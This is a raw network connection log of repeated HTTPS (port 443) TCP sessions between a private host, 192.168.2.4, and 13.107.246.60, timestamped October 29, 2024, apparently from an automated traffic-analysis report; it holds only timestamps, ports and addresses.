Oct 29, 2024 04:53:28.135602951 CET	443	49922	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.196023941 CET	443	49918	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.196460962 CET	49918	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:28.196472883 CET	443	49918	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.196903944 CET	49918	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:28.196909904 CET	443	49918	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.273317099 CET	443	49919	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.274002075 CET	49919	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:28.274039030 CET	443	49919	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.274406910 CET	49919	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:28.274420023 CET	443	49919	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.332711935 CET	443	49918	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.332848072 CET	443	49918	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.332910061 CET	49918	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:28.333122015 CET	49918	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:28.333133936 CET	443	49918	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.333148003 CET	49918	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:28.333153963 CET	443	49918	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.336344004 CET	49923	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:28.336379051 CET	443	49923	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.336438894 CET	49923	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:28.336570978 CET	49923	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:28.336591959 CET	443	49923	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.378994942 CET	443	49920	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.379441023 CET	49920	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:28.379484892 CET	443	49920	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.379869938 CET	49920	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:28.379883051 CET	443	49920	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.401220083 CET	443	49919	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.401525021 CET	443	49919	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.401597023 CET	49919	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:28.401644945 CET	443	49919	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.401679993 CET	443	49919	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.401735067 CET	49919	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:28.401787996 CET	49919	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:28.401837111 CET	443	49919	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.401871920 CET	49919	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:28.401887894 CET	443	49919	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.404537916 CET	49924	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:28.404568911 CET	443	49924	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.404654980 CET	49924	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:28.404815912 CET	49924	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:28.404829025 CET	443	49924	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.493899107 CET	443	49921	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.494410992 CET	49921	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:28.494442940 CET	443	49921	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.494777918 CET	49921	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:28.494785070 CET	443	49921	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.510502100 CET	443	49920	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.510700941 CET	443	49920	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.510880947 CET	49920	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:28.510881901 CET	49920	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:28.510881901 CET	49920	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:28.512979031 CET	49925	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:28.513019085 CET	443	49925	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.513092041 CET	49925	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:28.513215065 CET	49925	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:28.513230085 CET	443	49925	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.625875950 CET	443	49921	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.625925064 CET	443	49921	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.626089096 CET	49921	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:28.626121998 CET	443	49921	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.626204014 CET	49921	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:28.626213074 CET	443	49921	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.626236916 CET	49921	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:28.626269102 CET	443	49921	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.628848076 CET	49926	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:28.628860950 CET	443	49926	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.628937006 CET	49926	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:28.629079103 CET	49926	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:28.629091024 CET	443	49926	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.811621904 CET	49920	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:28.811682940 CET	443	49920	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.865113974 CET	443	49922	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.865833044 CET	49922	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:28.865883112 CET	443	49922	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.866236925 CET	49922	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:28.866247892 CET	443	49922	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.998188972 CET	443	49922	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.998308897 CET	443	49922	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.998339891 CET	443	49922	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.998477936 CET	49922	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:28.998477936 CET	49922	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:28.998729944 CET	49922	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:28.998753071 CET	443	49922	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:28.998779058 CET	49922	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:28.998792887 CET	443	49922	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.002041101 CET	49927	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:29.002087116 CET	443	49927	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.002156973 CET	49927	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:29.002371073 CET	49927	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:29.002394915 CET	443	49927	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.074044943 CET	443	49923	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.074520111 CET	49923	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:29.074587107 CET	443	49923	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.075071096 CET	49923	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:29.075082064 CET	443	49923	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.144282103 CET	443	49924	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.144794941 CET	49924	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:29.144809961 CET	443	49924	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.145087004 CET	49924	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:29.145092010 CET	443	49924	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.204307079 CET	443	49923	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.204386950 CET	443	49923	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.204443932 CET	49923	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:29.204467058 CET	443	49923	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.204500914 CET	443	49923	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.204550028 CET	49923	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:29.204591036 CET	49923	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:29.204591036 CET	49923	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:29.204611063 CET	443	49923	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.204621077 CET	443	49923	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.207482100 CET	49928	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:29.207565069 CET	443	49928	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.207663059 CET	49928	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:29.207824945 CET	49928	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:29.207859039 CET	443	49928	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.237575054 CET	443	49925	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.237948895 CET	49925	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:29.237962961 CET	443	49925	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.238447905 CET	49925	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:29.238455057 CET	443	49925	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.273035049 CET	443	49924	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.273127079 CET	443	49924	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.273196936 CET	49924	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:29.273391962 CET	49924	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:29.273402929 CET	443	49924	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.273411989 CET	49924	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:29.273416996 CET	443	49924	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.276654005 CET	49929	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:29.276731968 CET	443	49929	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.276837111 CET	49929	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:29.277041912 CET	49929	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:29.277075052 CET	443	49929	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.365647078 CET	443	49925	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.365792036 CET	443	49925	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.365909100 CET	49925	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:29.365942001 CET	49925	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:29.365959883 CET	443	49925	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.365972042 CET	49925	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:29.365979910 CET	443	49925	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.368210077 CET	49930	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:29.368279934 CET	443	49930	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.368371964 CET	49930	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:29.368499994 CET	49930	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:29.368524075 CET	443	49930	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.373584032 CET	443	49926	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.373959064 CET	49926	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:29.373980045 CET	443	49926	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.374613047 CET	49926	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:29.374617100 CET	443	49926	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.502397060 CET	443	49926	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.502589941 CET	443	49926	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.502645016 CET	49926	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:29.502805948 CET	49926	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:29.502810955 CET	443	49926	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.502820015 CET	49926	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:29.502824068 CET	443	49926	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.506556034 CET	49931	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:29.506587982 CET	443	49931	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.506695032 CET	49931	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:29.506843090 CET	49931	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:29.506858110 CET	443	49931	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.738056898 CET	443	49927	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.738581896 CET	49927	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:29.738600016 CET	443	49927	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.739079952 CET	49927	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:29.739087105 CET	443	49927	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.870407104 CET	443	49927	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.870677948 CET	443	49927	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.870707035 CET	443	49927	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.870785952 CET	49927	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:29.870840073 CET	49927	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:29.870860100 CET	443	49927	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.870870113 CET	49927	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:29.870873928 CET	443	49927	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.873469114 CET	49932	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:29.873492002 CET	443	49932	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.873581886 CET	49932	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:29.873723984 CET	49932	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:29.873738050 CET	443	49932	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.943591118 CET	443	49928	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.944308043 CET	49928	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:29.944363117 CET	443	49928	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:29.944674969 CET	49928	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:29.944690943 CET	443	49928	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.008198023 CET	443	49929	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.008630991 CET	49929	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:30.008668900 CET	443	49929	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.008908987 CET	49929	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:30.008915901 CET	443	49929	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.078444004 CET	443	49928	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.078591108 CET	443	49928	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.078670979 CET	49928	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:30.084284067 CET	49928	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:30.084321976 CET	443	49928	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.084357977 CET	49928	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:30.084372997 CET	443	49928	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.094274044 CET	49933	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:30.094377995 CET	443	49933	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.094443083 CET	49933	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:30.095159054 CET	49933	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:30.095196962 CET	443	49933	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.119185925 CET	443	49930	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.119766951 CET	49930	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:30.119791985 CET	443	49930	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.120213985 CET	49930	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:30.120225906 CET	443	49930	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.143095970 CET	443	49929	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.143188953 CET	443	49929	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.143261909 CET	49929	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:30.143299103 CET	443	49929	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.143352032 CET	443	49929	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.143414021 CET	49929	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:30.143471003 CET	49929	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:30.143471003 CET	49929	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:30.143501997 CET	443	49929	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.143524885 CET	443	49929	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.146384001 CET	49934	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:30.146399021 CET	443	49934	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.146482944 CET	49934	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:30.146640062 CET	49934	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:30.146651983 CET	443	49934	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.246689081 CET	443	49931	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.247083902 CET	49931	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:30.247109890 CET	443	49931	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.247466087 CET	49931	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:30.247478962 CET	443	49931	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.250756025 CET	443	49930	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.250982046 CET	443	49930	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.251070976 CET	49930	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:30.251070976 CET	49930	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:30.251332998 CET	49930	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:30.251353025 CET	443	49930	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.253168106 CET	49935	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:30.253223896 CET	443	49935	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.253298044 CET	49935	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:30.253422976 CET	49935	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:30.253452063 CET	443	49935	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.410182953 CET	443	49931	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.410258055 CET	443	49931	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.410316944 CET	49931	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:30.410330057 CET	443	49931	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.410366058 CET	443	49931	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.410428047 CET	49931	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:30.410553932 CET	49931	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:30.410567045 CET	443	49931	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.410581112 CET	49931	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:30.410587072 CET	443	49931	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.413135052 CET	49936	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:30.413153887 CET	443	49936	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.413230896 CET	49936	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:30.413363934 CET	49936	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:30.413378000 CET	443	49936	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.615912914 CET	443	49932	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.654776096 CET	49932	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:30.654788017 CET	443	49932	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.658745050 CET	49932	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:30.658751011 CET	443	49932	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.792077065 CET	443	49932	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.792139053 CET	443	49932	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.792198896 CET	49932	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:30.792411089 CET	49932	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:30.792418957 CET	443	49932	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.792429924 CET	49932	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:30.792434931 CET	443	49932	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.795558929 CET	49937	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:30.795658112 CET	443	49937	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.795753002 CET	49937	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:30.796021938 CET	49937	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:30.796056032 CET	443	49937	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.835117102 CET	443	49933	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.835575104 CET	49933	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:30.835654974 CET	443	49933	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.836031914 CET	49933	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:30.836045980 CET	443	49933	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.883066893 CET	443	49934	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.883629084 CET	49934	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:30.883636951 CET	443	49934	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.884273052 CET	49934	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:30.884278059 CET	443	49934	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.987174034 CET	443	49935	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.987544060 CET	49935	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:30.987575054 CET	443	49935	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:30.987962008 CET	49935	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:30.987974882 CET	443	49935	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.004065037 CET	443	49933	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.004230976 CET	443	49933	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.004303932 CET	49933	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.004584074 CET	49933	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.004584074 CET	49933	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.004616976 CET	443	49933	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.004638910 CET	443	49933	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.007270098 CET	49938	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.007378101 CET	443	49938	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.007472992 CET	49938	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.007621050 CET	49938	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.007658958 CET	443	49938	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.012751102 CET	443	49934	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.013067961 CET	443	49934	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.013128042 CET	49934	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.013148069 CET	49934	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.013156891 CET	443	49934	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.013166904 CET	49934	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.013170958 CET	443	49934	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.015059948 CET	49939	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.015116930 CET	443	49939	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.015197992 CET	49939	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.015305042 CET	49939	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.015346050 CET	443	49939	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.116858006 CET	443	49935	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.117017984 CET	443	49935	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.117091894 CET	49935	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.117252111 CET	49935	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.117281914 CET	443	49935	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.117307901 CET	49935	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.117321968 CET	443	49935	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.120496988 CET	49940	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.120553970 CET	443	49940	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.120625973 CET	49940	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.120771885 CET	49940	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.120800018 CET	443	49940	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.149235010 CET	443	49936	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.149677992 CET	49936	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.149728060 CET	443	49936	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.150101900 CET	49936	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.150115967 CET	443	49936	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.278727055 CET	443	49936	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.278893948 CET	443	49936	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.278965950 CET	49936	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.279177904 CET	49936	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.279207945 CET	443	49936	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.279258013 CET	49936	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.279272079 CET	443	49936	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.282120943 CET	49941	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.282135963 CET	443	49941	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.282219887 CET	49941	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.282371044 CET	49941	443	192.168.2.4	13.107.246.60
Oct 29, 2024 04:53:31.282382011 CET	443	49941	13.107.246.60	192.168.2.4
Oct 29, 2024 04:53:31.533488989 CET	443	49937	13.107.246.60	192.168.2.4
